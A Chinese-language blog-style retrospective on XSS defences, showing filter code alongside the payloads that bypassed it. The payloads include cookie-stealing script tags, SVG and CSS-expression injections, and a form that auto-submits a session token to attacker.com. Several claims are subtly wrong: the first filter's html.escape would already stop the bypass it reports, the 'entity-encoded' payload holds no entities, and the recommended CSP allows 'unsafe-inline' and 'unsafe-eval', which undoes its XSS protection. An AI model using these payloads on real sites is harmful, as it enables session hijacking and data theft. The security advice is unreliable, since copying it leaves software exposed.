从防御者视角复盘:10种XSS过滤规则为何依然失效
去年负责公司核心业务系统的安全加固时,我遭遇了职业生涯最棘手的XSS攻防战。当时系统已部署10层过滤机制,包括业界常见的HTML实体编码、关键词黑名单、属性白名单等防护措施。但渗透测试报告显示,攻击者仍能通过5种不同方式实现注入。这次复盘将用真实代码演示攻击者如何层层突破防御,以及我们最终构建的立体防护方案。
1. 基础防御体系的构建与失效
我们最初的安全方案采用了典型的纵深防御策略。在WAF层配置了以下规则:
# 示例1:基础关键词过滤 def xss_filter(text): blacklist = ['script', 'onerror', 'javascript', 'eval'] for word in blacklist: text = text.replace(word, '') return html.escape(text)这套过滤在测试环境表现良好,直到上线后第三周收到首例攻击警报。攻击payload如下:
<ScRipt>alert(document.cookie)</sCript>关键失误:仅进行小写匹配过滤,未考虑大小写变种。更讽刺的是,我们曾讨论过添加re.IGNORECASE标志,但因担心性能影响而放弃。
2. 编码绕过的艺术
升级后的过滤系统增加了大小写不敏感匹配和部分编码检测:
# 示例2:增强型过滤 def advanced_filter(text): pattern = re.compile(r'script|on\w+=|javascript:', re.I) text = pattern.sub('', text) return html.escape(text)但攻击者很快改用HTML实体编码:
<img src=javascript:alert(1)>漏洞根源:过滤顺序错误。应先解码再过滤,而非相反。我们忽略了浏览器会先解码再执行的基本特性。
3. 属性白名单的陷阱
引入白名单机制后,我们以为万无一失:
// 示例3:DOM Purify配置 const clean = DOMPurify.sanitize(dirty, { ALLOWED_TAGS: ['p', 'b', 'i'], ALLOWED_ATTR: ['class', 'style'] });直到发现攻击者利用SVG标签绕过:
<svg><script>alert(1)</script></svg>教训:未考虑不同解析上下文。SVG内的script在部分浏览器仍会执行,即使主文档禁止script标签。
4. 动态创建的防御盲区
前端框架的流行带来了新挑战。以下是我们的React防护代码:
// 示例4:React防XSS function SafeComponent({ input }) { return <div dangerouslySetInnerHTML={{ __html: sanitize(input) }} />; }攻击者通过CSS表达式注入:
<div style="width: expression(alert(1))"></div>根本原因:过度依赖框架安全机制,忽略历史遗留攻击方式。CSS表达式在IE中仍可执行。
5. 终极防御方案
经历多次失败后,我们采用分层防御策略:
| 防护层 | 技术方案 | 应对攻击类型 |
|---|---|---|
| 输入层 | 内容安全策略(CSP) | 阻断非法资源加载 |
| 处理层 | 上下文感知编码 | 防止HTML/JS/CSS混淆 |
| 输出层 | 沙箱隔离 | 限制DOM操作范围 |
| 监控层 | 行为检测 | 识别异常脚本执行 |
关键改进代码:
// 示例5:CSP配置 Content-Security-Policy: default-src 'none'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self'; img-src 'self' data:;实际部署中,我们还发现HttpOnly cookie的局限性。虽然能防止cookie窃取,但攻击者仍可通过以下方式劫持会话:
<form action="https://attacker.com" method="POST"> <input type="hidden" name="token" value="..."> </form> <script>document.forms[0].submit()</script>这促使我们在关键操作增加二次认证,而不仅依赖会话cookie。